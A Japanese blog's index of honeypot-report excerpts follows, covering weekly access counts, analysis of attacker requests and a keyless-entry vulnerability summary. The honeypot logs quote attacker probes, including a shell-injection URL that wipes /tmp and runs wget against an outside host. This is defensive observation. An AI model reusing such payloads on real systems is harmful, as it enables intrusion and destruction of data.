４月３日〜４月１０日までのハニーポットへのアクセスログをレポートします。 アクセス数 IPアドレス別アクセス数 HTTPリクエストメソッド集計 HTTPステータスコード集計 アクセス数 ４月８日、４月９日に2000を超えるアクセスが来ています。その他のアクセ…
３月２７日から４月３日のハニーポットへのアクセスをレポートします。 週刊アクセス数 ３月２９日、３０日、４月３日にアクセスが２０００を超えています。 ipアドレスアクセス数 今週アクセスしてきたipアドレス別のアクセス数です。下記３つのipアドレス…
ホンダの乗用車シビックのキーレスシステムに脆弱性が発見された記事をまとめた記事になります。 脆弱性の種類 CVSS 関連CVSS 対象車 可能な悪用 攻撃方法 対策 関連記事 脆弱性の種類 キーレスシステムの脆弱性 CVSS CVE-2022-27254 Score: 未定 https://nv…
３月２０日〜３月２７日までのハニーポットへのアクセスレポート。 アクセス数 ipアドレス別アクセス数 HTTPリクエストメソッド HTTPステータスコード HTTP アクセスURL数 ハニーポット参考書籍 アクセス数 週刊アクセス数です。今週は１００程度のアクセス…
３月１５日〜３月２０日のハニーポットのログのサマリーをレポートします。 デイリーアクセス HTTPアクセス HTTPステータスコード HTTPリクエスト ipアドレス別アクセス数トップ１０ ハニーポット参考書籍 デイリーアクセス ３月１６日、１７日にアクセスが…
ハニーポットのログを自動集計してcsvファイルに保存し、自分のPCに転送するスクリプトを作成していました。しかし、ログ作成部分のスクリプトはエラーで最後にログファイルをリフレッシュする部分は動くのでちょうどログファイルだけ消えるという珍事により…
今日来た攻撃の中から1件取り出して分析します。 今日来たアクセスのデータは以下になります。 アクセスログデータ POST /xmlrpc.php HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0 Content-Length: …
月初めでログを集計するスクリプトが動いてるか確認する時に間違えて、コマンドを打ってしまいログが消えました・・・ 上ボタンで過去に打ったコマンドを使おうとして、放ったコマンド。 $ sed -i '' -e 'd' hoge.txt ログファイルが消えてった・・・・ 今月…
ハニーポットを構築してからほとんどがGETリクエストでとりあえずつつく攻撃でしたので200レスポンスかログインアクセスをしてくるレスポンスとして401がほとんどでした。 本日のログに初めて201レスポンスを返す攻撃が来ました。 HTTPリクエストに関しては…
２月１５日、１６日に1000を超えるアクセスがありました。 ipアドレスを日別で集計すると犯人が見つかりました。下記が集計結果です。 2001 2022-02-16 201.218.229.228 2001 2022-02-15 201.218.229.228 1650 2022-02-16 210.210.26.37 541 2022-02-09 60.2…
下記のログを分析していくよ！ 6350 /manager/html 462 / 157 /xmlrpc.php 85 /.env 42 /autodiscover 27 91.218.66.202:4444 27 /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 19 /favicon.ico 17 /shell?cd+/tmp;rm+-rf+*;wget+%20botaflatoon.syt…
ハニーポットのアクセスログを見ていきます。 ログの集計期間は2/3〜2/16です。 アクセスログの中から10アクセス以上のURLを抽出しました。 6350 /manager/html 462 / 157 /xmlrpc.php 85 /.env 42 /autodiscover 27 91.218.66.202:4444 27 /vendor/phpunit/…
ハニーポットを植えてから１０日ほど経ちました。アクセス数を見ます。２月９日のアクセスが急激に伸びてます。基本的には土日のアクセスが多そうですね。急激なアクセスの後はアクセス数７０程度で推移しています。この日に何が起きていたのでしょう？？ 次…
今日来たアクセスを分析していきます。 ログの中から下記アクセスを見ていきます。 167.94.146.59 XXXXXXXXXXX "GET / HTTP/1.1" 200 False ※XXXXはマスクしてあります。 167.94.146.59のGETアクセスをしてきています。 base64でエンコードされている部分を…
今日はアクセスログの中で正常応答しなかったログを抽出して、１つのログをピックアップして分析します。 アクセスログの中でHTTPのレスポンスコード200以外の応答をgrepで抽出します。[1] コマンドは以下 cat access_log | grep -v 200 結果例 たくさんの正…
アクセスログはbase64でエンコードされている部分がWOWHoneypotのアクセスログにあります。この文字列をデコードしてあげると、どんなコマンドを仕掛けているかわかります。１日数十から多い時は数百のアクセスがくるので全てにデコードして分析は非現実的で…
ハニーポットを再構築して３日ほど経ちました。アクセスが早速きているのでログを見てみます。まだ、集計用のスクリプトなど作っていないので今日は不審なHTMLタグ挿入があるか抽出してみます。 ログ抽出用のコマンドはこちら[1] grep -E "<[^>]+>[^<]+<[^>]…
ハニーポットを作成しましたが設定などメール送信したり、分析用コードを作成のためにpythonライブラリを色々入れたりしてました。これだと再構築したりするときに同じ手順を踏んで構築ができないので作り直して作成方法を記録することにしました。 環境 さ…
今週のアクセス数を見ていきます。 2022-01-17 122 2022-01-18 107 2022-01-19 147 2022-01-20 124 2022-01-21 153 2022-01-22 282 2022-01-23 185 2022-01-24 429 アクセス数 １月２４日のが急にアクセスが伸びてます。 月曜日の平日なのに意外ですね。 攻…
資格試験の勉強でハニーポットをレポートを書けていませんでした。 ログを少し見てみるとちょっと気になったのがこちら。 執拗なPHPMyAdminの管理者権限を取ろうとしているアクセスですね。 PHPのバージョンを片っ端から試してます。 画像は一部ですが短時間…
１週間のハニーポットのレポートをします。 試行錯誤でログ解析していますw 今週のアクセス数はこちら。 日時 アクセス件数 2022-01-04 16 2022-01-05 127 2022-01-06 146 2022-01-07 145 2022-01-08 225 2022-01-09 199 2022-01-10 213 2022-01-11 118 2022…
ログの中で最もアクセスが多いIPアドレスに注目してみます。 45.146.165.37が113件来てます。 他にも98件来ている奴もいましたが今回はこいつに絞ります。 1件だけですのでIPアドレスを調べるサイトで調べます。 www.cman.jp リンク先に行くと下図のようにIP…
WoWHoneypotを構築して1週間ほど経ったのでログを見てみます。 参考にした本はこちら。 WOWHoneypotの遊びかた “おもてなし”機能でサイバー攻撃を観察する！ (技術の泉シリーズ（NextPublishing）) 作者:森久 和昭 インプレスR&D Amazon 構築時の設定で結構…
